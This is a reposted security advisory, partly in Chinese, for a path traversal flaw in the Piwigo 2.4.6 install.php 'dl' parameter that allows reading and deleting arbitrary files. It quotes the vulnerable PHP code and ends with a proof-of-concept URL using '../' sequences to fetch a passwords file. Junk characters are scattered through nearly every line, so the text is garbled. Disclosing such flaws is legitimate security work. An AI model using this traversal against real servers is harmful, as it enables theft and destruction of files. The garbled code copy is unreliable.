Piwigo是用PHP编写的相册脚本。; n( K! g3 D8 |( i
' s1 N# _8 I6 \. J, Y$ OPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。' A. `4 D* E7 ~0 ~! o! a. H+ `
====================================================================
; s9 N6 |$ e$ ~1 W/install.php:: E! c4 w$ S1 y
-------------3 M8 x% y( `7 `) y: `
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 L8 ^; U" {: X; a, U114: {$ i5 q% ?; g# y
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];, H! a0 X( i: d6 U
116: header('Cache-Control: no-cache, must-revalidate');
- p( n9 P6 V# s1 ], S! t$ I117: header('Pragma: no-cache');6 a: o! w4 ^: L' ]
118: header('Content-Disposition: attachment; filename="database.inc.php"');" A2 c5 f% d& F2 ~' c
119: header('Content-Transfer-Encoding: binary');) k8 f2 |* G; Z! {, a
120: header('Content-Length: '.filesize($filename));
5 F$ w& l& o$ m3 ?4 a7 M0 u: N! f121: echo file_get_contents($filename);, Y& @' r, t' a$ O
122: unlink($filename);+ y# q9 d; S9 v0 F6 a0 d3 p1 n$ f, d
123: exit();6 T& [7 y' z9 V4 T' ~
124: }
: b1 z1 y+ ]/ c) e7 K( q====================================================================
3 I* f0 @6 o( Q
3 A5 Y2 d0 K m, x: [; WTested on: Microsoft Windows 7 Ultimate SP1 (EN)/ |8 M6 r% v4 A* L: w
Apache 2.4.2 (Win32)) N2 @% i7 U1 K) L$ a b/ y
PHP 5.4.4
' l* K7 }7 R8 ^/ R" l9 h3 N: b MySQL 5.5.25a( ?" I9 ?* X U4 } z' D; E+ ^" r
; |% v6 D0 P8 Q( f. t% rVulnerability discovered by Gjoko 'LiquidWorm' Krstic
6 K- ^7 ]; y% N1 e. e# ^ @zeroscience* {; N7 j }, T- }7 _$ r
3 n$ I$ P" O" g1 h: L9 d/ ]Advisory ID: ZSL-2013-5127
' b+ G' h; o3 _4 V$ ?1 B3 YAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
& c$ w5 F' @3 p( v0 kVendor Patch: http://piwigo.org/bugs/view.php?id=28438 w; j/ e7 S! D
- \0 \+ W+ ^ B5 k6 {- i5 K. m3 h
15.02.20131 A4 J/ ~: _% q" n7 l0 @+ J0 M
1 O1 W' E0 Q2 Y( |- |1 |--6 a* T* A" r; A
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
$ {% f3 J7 B% X" j8 R
% r4 }: O1 b7 } |